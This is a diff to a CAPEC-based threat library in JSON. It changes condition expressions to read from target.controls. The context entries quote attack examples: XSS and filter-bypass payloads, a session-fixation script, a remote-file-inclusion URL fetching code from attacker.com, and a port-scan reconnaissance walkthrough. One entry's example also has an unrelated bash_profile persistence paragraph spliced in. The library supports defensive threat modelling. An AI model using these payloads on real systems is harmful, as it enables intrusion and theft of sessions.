     "example": "In this example let us look at the website http://www.example.com to get much information we can about Alice. From the website, we find that Alice also runs foobar.org. We type in www example.com into the prompt of the Name Lookup window in a tool, and our result is this IP address: 192.173.28.130 We type the domain into the Name Lookup prompt and we are given the same IP. We can safely say that example and foobar.org are hosted on the same box. But if we were to do a reverse name lookup on the IP, which domain will come up? www.example.com or foobar.org? Neither, the result is nijasvspirates.org. So nijasvspirates.org is the name of the box hosting 31337squirrel.org and foobar.org. So now that we have the IP, let's check to see if nijasvspirates is awake. We type the IP into the prompt in the Ping window. We'll set the interval between packets to 1 millisecond. We'll set the number of seconds to wait until a ping times out to 5. We'll set the ping size to 500 bytes and we'll send ten pings. Ten packets sent and ten packets received. nijasvspirates.org returned a message to my computer within an average of 0.35 seconds for every packet sent. nijasvspirates is alive. We open the Whois window and type nijasvspirates.org into the Query prompt, and whois.networksolutions.com into the Server prompt. This means we'll be asking Network Solutions to tell us everything they know about nijasvspirates.org. The result is this laundry list of info: Registrant: FooBar (nijasvspirates -DOM) p.o.box 11111 SLC, UT 84151 US Domain Name: nijasvspirates.ORG Administrative Contact, Billing Contact: Smith, John jsmith@anonymous.net FooBar p.o.box 11111 SLC, UT 84151 555-555-6103 Technical Contact: Johnson, Ken kj@fierymonkey.org fierymonkey p.o.box 11111 SLC, UT 84151 555-555-3849 Record last updated on 17-Aug-2001. Record expires on 11-Aug-2002. Record created on 11-Aug-2000. Database last updated on 12-Dec-2001 04:06:00 EST. Domain servers in listed order: NS1. fierymonkey.ORG 192.173.28.130 NS2. fierymonkey.ORG 64.192.168.80 A corner stone of footprinting is Port Scanning. Let's port scan nijasvspirates.org and see what kind of services are running on that box. We type in the nijasvspirates IP into the Host prompt of the Port Scan window. We'll start searching from port number 1, and we'll stop at the default Sub7 port, 27374. Our results are: 21 TCP ftp 22 TCP ssh SSH-1.99-OpenSSH_2.30 25 TCP smtp 53 TCP domain 80 TCP www 110 TCP pop3 111 TCP sunrpc 113 TCP ident Just by this we know that Alice is running a website and email, using POP3, SUNRPC (SUN Remote Procedure Call), and ident.",
@@ -601,7 +601,7 @@
     "details": "An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.",
     "Likelihood Of Attack": "High",
     "severity": "Very High",
-    "condition": "target.isHardened is False or target.hasAccessControl is False",
+    "condition": "target.controls.isHardened is False or target.controls.hasAccessControl is False",
     "prerequisites": "System's configuration must allow an attacker to directly access executable files or upload files to execute. This means that any access control system that is supposed to mediate communications between the subject and the object is set incorrectly or assumes a benign environment.",
     "mitigations": "Design: Enforce principle of least privilegeDesign: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands.Implementation: Perform testing such as pen-testing and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables.",
     "example": "Consider a directory on a web server with the following permissions drwxrwxrwx 5 admin public 170 Nov 17 01:08 webroot This could allow an attacker to both execute and upload and execute programs' on the web server. This one vulnerability can be exploited by a threat to probe the system and identify additional vulnerabilities to exploit.",
@@ -616,7 +616,7 @@
     "details": "An attacker sends a series of probes to a web application in order to elicit version-dependent and type-dependent behavior that assists in identifying the target. An attacker could learn information such as software versions, error pages, and response headers, variations in implementations of the HTTP protocol, directory structures, and other similar information about the targeted service. This information can then be used by an attacker to formulate a targeted attack plan. While web application fingerprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.",
     "Likelihood Of Attack": "High",
     "severity": "Low",
-    "condition": "target.validatesHeaders is False or target.encodesOutput is False or target.isHardened is False",
+    "condition": "target.controls.validatesHeaders is False or target.controls.encodesOutput is False or target.controls.isHardened is False",
     "prerequisites": "Any web application can be fingerprinted. However, some configuration choices can limit the useful information an attacker may collect during a fingerprinting attack.",
     "mitigations": "Implementation: Obfuscate server fields of HTTP response.Implementation: Hide inner ordering of HTTP response header.Implementation: Customizing HTTP error codes such as 404 or 500.Implementation: Hide URL file extension.Implementation: Hide HTTP response header software information filed.Implementation: Hide cookie's software information filed.Implementation: Appropriately deal with error messages.Implementation: Obfuscate database type in Database API's error message.",
     "example": "An attacker sends malformed requests or requests of nonexistent pages to the server. Consider the following HTTP responses. Response from Apache 1.3.23$ nc apache.server.com80 GET / HTTP/3.0 HTTP/1.1 400 Bad RequestDate: Sun, 15 Jun 2003 17:12: 37 GMTServer: Apache/1.3.23Connection: closeTransfer: chunkedContent-Type: text/HTML; charset=iso-8859-1 Response from IIS 5.0$ nc iis.server.com 80GET / HTTP/3.0 HTTP/1.1 200 OKServer: Microsoft-IIS/5.0Content-Location: http://iis.example.com/Default.htmDate: Fri, 01 Jan 1999 20:14: 02 GMTContent-Type: text/HTMLAccept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMTETag: W/e0d362a4c335be1: ae1Content-Length: 133 [R.170.2]",
@@ -631,7 +631,7 @@
     "details": "This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (<img>), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an attacker to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote attacker to collect and interpret the output of said attack.",
     "Likelihood Of Attack": "High",
     "severity": "Very High",
-    "condition": "target.validatesInput is False or target.encodesOutput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.encodesOutput is False",
     "prerequisites": "The target client software must allow the execution of scripts generated by remote hosts.",
     "mitigations": "In addition to the traditional input fields, all other user controllable inputs, such as image tags within messages or the likes, must also be subjected to input validation. Such validation should ensure that content that can be potentially interpreted as script by the browser is appropriately filtered.All output displayed to clients must be properly escaped. Escaping ensures that the browser interprets special scripting characters literally and not as script to be executed.",
     "example": "An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. A malicious user embeds JavaScript in the IMG tags in his messages that gets executed within the victim's browser whenever the victim reads these messages. <img src=javascript:alert('XSS')> When executed within the victim's browser, the malicious script could accomplish a number of adversary objectives including stealing sensitive information such as usernames, passwords, or cookies.",
@@ -646,8 +646,8 @@
     "details": "An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack. Most commonly, attackers would take advantage of controls that provided too little protection for sensitive activities in order to perform actions that should be denied to them. In some circumstances, an attacker may be able to take advantage of overly restrictive access control policies, initiating denial of services (if an application locks because it unexpectedly failed to be granted access) or causing other legitimate actions to fail due to security. The latter class of attacks, however, is usually less severe and easier to detect than attacks based on inadequate security restrictions. This attack pattern differs from CAPEC 1, Accessing Functionality Not Properly Constrained by ACLs in that the latter describes attacks where sensitive functionality lacks access controls, where, in this pattern, the access control is present, but incorrectly configured.",
     "Likelihood Of Attack": "High",
     "severity": "Medium",
-    "condition": "target.hasAccessControl is False",
-    "prerequisites": "The target must apply access controls, but incorrectly configure them. However, not all incorrect configurations can be exploited by an attacker. If the incorrect configuration applies too little security to some functionality, then the attacker may be able to exploit it if the access control would be the only thing preventing an attacker's access and it no longer does so. If the incorrect configuration applies too much security, it must prevent legitimate activity and the attacker must be able to force others to require this activity..",
+    "condition": "target.controls.hasAccessControl is False",
+    "prerequisites": "The target must apply access controls, but incorrectly configure them. However, not all incorrect configurations can be exploited by an attacker. If the incorrect configuration applies too little security to some functionality, then the attacker may be able to exploit it if the access control would be the only thing preventing an attacker's access and it no longer does so. If the incorrect configuration applies too much security, it must prevent legitimate activity and the attacker must be able to force others to require this activity.",
     "mitigations": "Design: Configure the access control correctly.",
     "example": "For example, an incorrectly configured Web server, may allow unauthorized access to it, thus threaten the security of the Web application.",
     "references": "https://capec.mitre.org/data/definitions/180.html, http://cwe.mitre.org/data/definitions/732.html"
@@ -661,7 +661,7 @@
     "details": "An attacker exploits weaknesses in input validation on IMAP/SMTP servers to execute commands on the server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.",
     "Likelihood Of Attack": "",
     "severity": "Medium",
-    "condition": "(target.protocol == 'IMAP' or target.protocol == 'SMTP') and target.sanitizesInput is False",
+    "condition": "(target.protocol == 'IMAP' or target.protocol == 'SMTP') and target.controls.sanitizesInput is False",
     "prerequisites": "The target environment must consist of a web-mail server that the attacker can query and a back-end mail server. The back-end mail server need not be directly accessible to the attacker.The web-mail server must fail to adequately sanitize fields received from users and passed on to the back-end mail server.The back-end mail server must not be adequately secured against receiving malicious commands from the web-mail server.",
     "mitigations": "All user-controllable input should be validated and filtered for potentially unwanted characters. Whitelisting input is desired, but if a blacklisting approach is necessary, then focusing on command related terms and delimiters is necessary. Input should be encoded prior to use in commands to make sure command related characters are not treated as part of the command. For example, quotation characters may need to be encoded so that the application does not treat the quotation as a delimiter. Input should be parameterized, or restricted to data sections of a command, thus removing the chance that the input will be treated as part of the command itself.",
     "example": "An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.",
@@ -691,7 +691,7 @@
     "details": "An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The adversary leverages this capability to execute his/her own script by embedding it within other scripts that the target software is likely to execute. The adversary must have the ability to inject their script into a script that is likely to be executed. If this is done, then the adversary can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. These attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False or target.hasAccessControl is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False or target.controls.hasAccessControl is False",
     "prerequisites": "Target software must be able to execute scripts, and also grant the adversary privilege to write/upload scripts.",
     "mitigations": "Use browser technologies that do not allow client side scripting.Utilize strict type, character, and encoding enforcement.Server side developers should not proxy content via XHR or other means. If a HTTP proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from.Ensure all content that is delivered to client is sanitized against an acceptable content specification.Perform input validation for all remote content.Perform output validation for all remote content.Disable scripting languages such as JavaScript in browserSession tokens for specific hostPatching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.Privileges are constrained, if a script is loaded, ensure system runs in chroot jail or other limited authority mode",
     "example": "Ajax applications enable rich functionality for browser based web applications. Applications like Google Maps deliver unprecedented ability to zoom in and out, scroll graphics, and change graphic presentation through Ajax. The security issues that an attacker may exploit in this instance are the relative lack of security features in JavaScript and the various browser's implementation of JavaScript, these security gaps are what XSS and a host of other client side vulnerabilities are based on. While Ajax may not open up new security holes, per se, due to the conversational aspects between client and server of Ajax communication, attacks can be optimized. A single zoom in or zoom out on a graphic in an Ajax application may round trip to the server dozens of times. One of the first steps many attackers take is frequently footprinting an environment, this can include scanning local addresses like 192.*.*.* IP addresses, checking local directories, files, and settings for known vulnerabilities, and so on. <IMG SRC=javascript:alert('XSS')> The XSS script that is embedded in a given IMG tag can be manipulated to probe a different address on every click of the mouse or other motions that the Ajax application is aware of. In addition the enumerations allow for the attacker to nest sequential logic in the attacks. While Ajax applications do not open up brand new attack vectors, the existing attack vectors are more than adequate to execute attacks, and now these attacks can be optimized to sequentially execute and enumerate host environments.~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed. These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.",
@@ -706,7 +706,7 @@
     "details": "In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized include or require call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False",
+    "condition": "target.controls.validatesInput is False",
     "prerequisites": "Target application server must allow remote files to be included in the require, include, etc. PHP directivesThe adversary must have the ability to make HTTP requests to the target web application.",
     "mitigations": "Implementation: Perform input validation for all remote content, including remote and user-generated contentImplementation: Only allow known files to be included (whitelist)Implementation: Make use of indirect references passed in URL parameters instead of file namesConfiguration: Ensure that remote scripts cannot be include in the include or require PHP directives",
     "example": "The adversary controls a PHP script on a server http://attacker.com/rfi.txt The .txt extension is given so that the script doesn't get executed by the attacker.com server, and it will be downloaded as text. The target application is vulnerable to PHP remote file inclusion as following: include($_GET['filename'] . '.txt') The adversary creates an HTTP request that passes his own script in the include: http://example.com/file.php?filename=http://attacker.com/rfi with the concatenation of the .txt prefix, the PHP runtime download the attack's script and the content of the script gets executed in the same context as the rest of the original script.",
@@ -722,7 +722,7 @@
     "details": "A Principal Spoof is a form of Identity Spoofing where an adversary pretends to be some other person in an interaction. This is often accomplished by crafting a message (either written, verbal, or visual) that appears to come from a person other than the adversary. Phishing and Pharming attacks often attempt to do this so that their attempts to gather sensitive information appear to come from a legitimate source. A Principal Spoof does not use stolen or spoofed authentication credentials, instead relying on the appearance and content of the message to reflect identity. The possible outcomes of a Principal Spoof mirror those of Identity Spoofing. (e.g., escalation of privilege and false attribution of data or activities) Likewise, most techniques for Identity Spoofing (crafting messages or intercepting and replaying or modifying messages) can be used for a Principal Spoof attack. However, because a Principal Spoof is used to impersonate a person, social engineering can be both an attack technique (using social techniques to generate evidence in support of a false identity) as well as a possible outcome (manipulating people's perceptions by making statements or performing actions under a target's name).",
     "Likelihood Of Attack": "",
     "severity": "Medium",
-    "condition": "target.authenticatesSource is False",
+    "condition": "target.controls.authenticatesSource is False",
     "prerequisites": "The target must associate data or activities with a person's identity and the adversary must be able to modify this identity without detection.",
     "mitigations": "Employ robust authentication processes (e.g., multi-factor authentication).",
     "example": "An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.",
@@ -737,7 +737,7 @@
     "details": "An attacker creates a false but functional session credential in order to gain or usurp access to a service. Session credentials allow users to identify themselves to a service after an initial authentication without needing to resend the authentication information (usually a username and password) with every message. If an attacker is able to forge valid session credentials they may be able to bypass authentication or piggy-back off some other authenticated user's session. This attack differs from Reuse of Session IDs and Session Sidejacking attacks in that in the latter attacks an attacker uses a previous or existing credential without modification while, in a forging attack, the attacker must create their own credential, although it may be based on previously observed credentials.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "target.usesSessionTokens is True and target.implementsNonce is False",
+    "condition": "target.usesSessionTokens is True and target.controls.implementsNonce is False",
     "prerequisites": "The targeted application must use session credentials to identify legitimate users. Session identifiers that remains unchanged when the privilege levels change. Predictable session identifiers.",
     "mitigations": "Implementation: Use session IDs that are difficult to guess or brute-force: One way for the attackers to obtain valid session IDs is by brute-forcing or guessing them. By choosing session identifiers that are sufficiently random, brute-forcing or guessing becomes very difficult.Implementation: Regenerate and destroy session identifiers when there is a change in the level of privilege: This ensures that even though a potential victim may have followed a link with a fixated identifier, a new one is issued when the level of privilege changes.",
     "example": "This example uses client side scripting to set session ID in the victim's browser. The JavaScript code document.cookie=sessionid=0123456789 fixates a falsified session credential into victim's browser, with the help of crafted a URL link. http://www.example.com/<script>document.cookie=sessionid=0123456789;</script> A similar example uses session ID as an argument of the URL. http://www.example.com/index.php/sessionid=0123456789 Once the victim clicks the links, the attacker may be able to bypass authentication or piggy-back off some other authenticated victim's session.",
@@ -767,7 +767,7 @@
     "details": "An adversary distributes a link (or possibly some other query structure) with a request to a third party web server that is malformed and also contains a block of exploit code in order to have the exploit become live code in the resulting error page. When the third party web server receives the crafted request and notes the error it then creates an error message that echoes the malformed message, including the exploit. Doing this converts the exploit portion of the message into to valid language elements that are executed by the viewing browser. When a victim executes the query provided by the attacker the infected error message error message is returned including the exploit code which then runs in the victim's browser. XSS can result in execution of code as well as data leakage (e.g. session cookies can be sent to the attacker). This type of attack is especially dangerous since the exploit appears to come from the third party web server, who the victim may trust and hence be more vulnerable to deception.",
     "Likelihood Of Attack": "",
     "severity": "Medium",
-    "condition": "target.encodesOutput is False or target.validatesInput is False or target.sanitizesInput is False",
+    "condition": "target.controls.encodesOutput is False or target.controls.validatesInput is False or target.controls.sanitizesInput is False",
     "prerequisites": "A third party web server which fails to adequately sanitize messages sent in error pages.The victim must be made to execute a query crafted by the attacker which results in the infected error report.",
     "mitigations": "Design: Use libraries and templates that minimize unfiltered input.Implementation: Normalize, filter and white list any input that will be used in error messages.Implementation: The victim should configure the browser to minimize active content from untrusted sources.",
     "example": "A third party web server fails to adequately sanitize messages sent in error pages. Adversary takes advantage of the data displayed in the error message.",
@@ -782,7 +782,7 @@
     "details": "An adversary uses alternate forms of keywords or commands that result in the same action as the primary form but which may not be caught by filters. For example, many keywords are processed in a case insensitive manner. If the site's web filtering algorithm does not convert all tags into a consistent case before the comparison with forbidden keywords it is possible to bypass filters (e.g., incomplete black lists) by using an alternate case structure. For example, the script tag using the alternate forms of Script or ScRiPt may bypass filters where script is the only form tested. Other variants using different syntax representations are also possible as well as using pollution meta-characters or entities that are eventually ignored by the rendering engine. The attack can result in the execution of otherwise prohibited functionality.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.sanitizesInput is False or target.validatesInput is False or target.encodesOutput is False",
+    "condition": "target.controls.sanitizesInput is False or target.controls.validatesInput is False or target.controls.encodesOutput is False",
     "prerequisites": "Target client software must allow scripting such as JavaScript.",
     "mitigations": "Design: Use browser technologies that do not allow client side scripting.Design: Utilize strict type, character, and encoding enforcementImplementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.Implementation: Ensure all content coming from the client is using the same encoding; if not, the server-side application must canonicalize the data before applying any filtering.Implementation: Perform input validation for all remote content, including remote and user-generated contentImplementation: Perform output validation for all remote content.Implementation: Disable scripting languages such as JavaScript in browserImplementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.",
     "example": "In this example, the attacker tries to get a script executed by the victim's browser. The target application employs regular expressions to make sure no script is being passed through the application to the web page; such a regular expression could be ((?i)script), and the application would replace all matches by this regex by the empty string. An attacker will then create a special payload to bypass this filter: <scriscriptpt>alert(1)</scscriptript> when the applications gets this input string, it will replace all script (case insensitive) by the empty string and the resulting input will be the desired vector by the attacker. In this example, we assume that the application needs to write a particular string in a client-side JavaScript context (e.g., <script>HERE</script>). For the attacker to execute the same payload as in the previous example, he would need to send alert(1) if there was no filtering. The application makes use of the following regular expression as filter ((w+)s*(.*)|alert|eval|function|document) and replaces all matches by the empty string. For example each occurrence of alert(), eval(), foo() or even the string alert would be stripped. An attacker will then create a special payload to bypass this filter: this['al' + 'ert'](1) when the applications gets this input string, it won't replace anything and this piece of JavaScript has exactly the same runtime meaning as alert(1). The attacker could also have used non-alphanumeric XSS vectors to bypass the filter; for example, ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) would be executed by the JavaScript engine like alert(1) is.",
@@ -798,7 +798,7 @@
     "details": "An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.",
     "Likelihood Of Attack": "Low",
     "severity": "Low",
-    "condition": "target.usesEncryptionAlgorithm != 'RSA' and target.usesEncryptionAlgorithm != 'AES'",
+    "condition": "target.controls.usesEncryptionAlgorithm != 'RSA' and target.controls.usesEncryptionAlgorithm != 'AES'",
     "prerequisites": "Ciphertext is known.Encryption algorithm and key size are known.",
     "mitigations": "Use commonly accepted algorithms and recommended key sizes. The key size used will depend on how important it is to keep the data confidential and for how long.In theory a brute force attack performing an exhaustive key space search will always succeed, so the goal is to have computational security. Moore's law needs to be taken into account that suggests that computing resources double every eighteen months.",
     "example": "In 1997 the original DES challenge used distributed net computing to brute force the encryption key and decrypt the ciphertext to obtain the original plaintext. Each machine was given its own section of the key space to cover. The ciphertext was decrypted in 96 days.",
@@ -813,7 +813,7 @@
     "details": "An adversary exploits a weakness in authorization in order to modify content within a registry (e.g., Windows Registry, Mac plist, application registry). Editing registry information can permit the adversary to hide configuration information or remove indicators of compromise to cover up activity. Many applications utilize registries to store configuration and service information. As such, modification of registry information can affect individual services (affecting billing, authorization, or even allowing for identity spoofing) or the overall configuration of a targeted application. For example, both Java RMI and SOAP use registries to track available services. Changing registry values is sometimes a preliminary step towards completing another attack pattern, but given the long term usage of many registry values, manipulation of registry information could be its own end.",
     "Likelihood Of Attack": "",
     "severity": "Medium",
-    "condition": "target.hasAccessControl is False",
+    "condition": "target.controls.hasAccessControl is False",
     "prerequisites": "The targeted application must rely on values stored in a registry.The adversary must have a means of elevating permissions in order to access and modify registry content through either administrator privileges (e.g., credentialed access), or a remote access tool capable of editing a registry through an API.",
     "mitigations": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys.Employ a robust and layered defensive posture in order to prevent unauthorized users on your system.Employ robust identification and audit/blocking via whitelisting of applications on your system. Unnecessary applications, utilities, and configurations will have a presence in the system registry that can be leveraged by an adversary through this attack pattern.",
     "example": "Manipulating registration information can be undertaken in advance of a path traversal attack (inserting relative path modifiers) or buffer overflow attack (enlarging a registry value beyond an application's ability to store it).",
@@ -842,7 +842,7 @@
     "details": "An attacker removes or disables functionality on the client that the server assumes to be present and trustworthy. Attackers can, in some cases, get around logic put in place to 'guard' sensitive functionality or data. Client applications may include functionality that a server relies on for correct and secure operation. This functionality can include, but is not limited to, filters to prevent the sending of dangerous content to the server, logical functionality such as price calculations, and authentication logic to ensure that only authorized users are utilizing the client. If an attacker can disable this functionality on the client, they can perform actions that the server believes are prohibited. This can result in client behavior that violates assumptions by the server leading to a variety of possible attacks. In the above examples, this could include the sending of dangerous content (such as scripts) to the server, incorrect price calculations, or unauthorized access to server resources.",
     "Likelihood Of Attack": "Medium",
     "severity": "High",
-    "condition": "target.providesIntegrity is False or target.usesCodeSigning is False",
+    "condition": "target.controls.providesIntegrity is False or target.controls.usesCodeSigning is False",
     "prerequisites": "The targeted server must assume the client performs important actions to protect the server or the server functionality. For example, the server may assume the client filters outbound traffic or that the client performs all price calculations correctly. Moreover, the server must fail to detect when these assumptions are violated by a client.",
     "mitigations": "Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side.Design: Ship client-side application with integrity checks (code signing) when possible.Design: Use obfuscation and other techniques to prevent reverse engineering the client code.",
     "example": "Attacker reverse engineers a Java binary (by decompiling it) and identifies where license management code exists. Noticing that the license manager returns TRUE or FALSE as to whether or not the user is licensed, the Attacker simply overwrites both branch targets to return TRUE, recompiles, and finally redeploys the binary.Attacker uses click-through exploration of a Servlet-based website to map out its functionality, taking note of its URL-naming conventions and Servlet mappings. Using this knowledge and guessing the Servlet name of functionality they're not authorized to use, the Attacker directly navigates to the privileged functionality around the authorizing single-front controller (implementing programmatic authorization checks).Attacker reverse-engineers a Java binary (by decompiling it) and identifies where license management code exists. Noticing that the license manager returns TRUE or FALSE as to whether or not the user is licensed, the Attacker simply overwrites both branch targets to return TRUE, recompiles, and finally redeploys the binary.",
@@ -857,7 +857,7 @@
     "details": "An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "target.validatesContentType is False or target.invokesScriptFilters is False",
+    "condition": "target.controls.validatesContentType is False or target.controls.invokesScriptFilters is False",
     "prerequisites": "The victim must follow a crafted link that references a scripting file that is mis-typed as a non-executable file.The victim's browser must detect the true type of a mis-labeled scripting file and invoke the appropriate script interpreter without first performing filtering on the content.",
     "mitigations": "Design: Browsers must invoke script filters to detect that the specified MIME type of the file matches the actual type of its content before deciding which script interpreter to use.",
     "example": "For example, the MIME type text/plain may be used where the actual content is text/javascript or text/html. Since text does not contain scripting instructions, the stated MIME type would indicate that filtering is unnecessary. However, if the target application subsequently determines the file's real type and invokes the appropriate interpreter, scripted content could be invoked.In another example, img tags in HTML content could reference a renderable type file instead of an expected image file. The file extension and MIME type can describe an image file, but the file content can be text/javascript or text/html resulting in script execution. If the browser assumes all references in img tags are images, and therefore do not need to be filtered for scripts, this would bypass content filters.",
@@ -872,7 +872,7 @@
     "details": "Attacks on session IDs and resource IDs take advantage of the fact that some software accepts user input without verifying its authenticity. For example, a message queuing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or indeed the process that wrote the message to the queue are authentic and authorized to do so. Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes trust other systems because they are behind a firewall. In a similar way servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Session IDs may be guessed due to insufficient randomness, poor protection (passed in the clear), lack of integrity (unsigned), or improperly correlation with access control policy enforcement points. Exposed configuration and properties files that contain system passwords, database connection strings, and such may also give an attacker an edge to identify these identifiers. The net result is that spoofing and impersonation is possible leading to an attacker's ability to break authentication, authorization, and audit controls on the system.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.providesIntegrity is False or target.authenticatesSource is False or target.usesStrongSessionIdentifiers is False",
+    "condition": "target.controls.providesIntegrity is False or target.controls.authenticatesSource is False or target.controls.usesStrongSessionIdentifiers is False",
     "prerequisites": "Server software must rely on weak session IDs proof and/or verification schemes",
     "mitigations": "Design: utilize strong federated identity such as SAML to encrypt and sign identity tokens in transit.Implementation: Use industry standards session key generation mechanisms that utilize high amount of entropy to generate the session key. Many standard web and application servers will perform this task on your behalf.Implementation: If the session identifier is used for authentication, such as in the so-called single sign on use cases, then ensure that it is protected at the same level of assurance as authentication tokens.Implementation: If the web or application server supports it, then encrypting and/or signing the session ID (such as cookie) can protect the ID if intercepted.Design: Use strong session identifiers that are protected in transit and at rest.Implementation: Utilize a session timeout for all sessions, for example 20 minutes. If the user does not explicitly logout, the server terminates their session after this period of inactivity. If the user logs back in then a new session key is generated.Implementation: Verify of authenticity of all session IDs at runtime.",
     "example": "Thin client applications like web applications are particularly vulnerable to session ID attacks. Since the server has very little control over the client, but still must track sessions, data, and objects on the server side, cookies and other mechanisms have been used to pass the key to the session data between the client and server. When these session keys are compromised it is trivial for an attacker to impersonate a user's session in effect, have the same capabilities as the authorized user. There are two main ways for an attacker to exploit session IDs. A brute force attack involves an attacker repeatedly attempting to query the system with a spoofed session header in the HTTP request. A web server that uses a short session ID can be easily spoofed by trying many possible combinations so the parameters session-ID= 1234 has few possible combinations, and an attacker can retry several hundred or thousand request with little to no issue on their side. The second method is interception, where a tool such as wireshark is used to sniff the wire and pull off any unprotected session identifiers. The attacker can then use these variables and access the application.",
@@ -887,7 +887,7 @@
     "details": "An adversary leverages a legitimate capability of an application in such a way as to achieve a negative technical impact. The system functionality is not altered or modified but used in a way that was not intended. This is often accomplished through the overuse of a specific functionality or by leveraging functionality with design flaws that enables the adversary to gain access to unauthorized, sensitive data.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "target.hasAccessControl is False or target.authorizesSource is False",
+    "condition": "target.controls.hasAccessControl is False or target.controls.authorizesSource is False",
     "prerequisites": "The adversary has the capability to interact with the application directly.The target system does not adequately implement safeguards to prevent misuse of authorized actions/processes.",
     "mitigations": "Perform comprehensive threat modeling, a process of identifying, evaluating, and mitigating potential threats to the application. This effort can help reveal potentially obscure application functionality that can be manipulated for malicious purposes.When implementing security features, consider how they can be misused and compromised.",
     "example": "An attacker clicks on the 'forgot password' and is presented with a single security question. The question is regarding the name of the first dog of the user. The system does not limit the number of attempts to provide the dog's name. An attacker goes through a list of 100 most popular dog names and finds the right name, thus getting the ability to reset the password and access the system.",
@@ -902,7 +902,7 @@
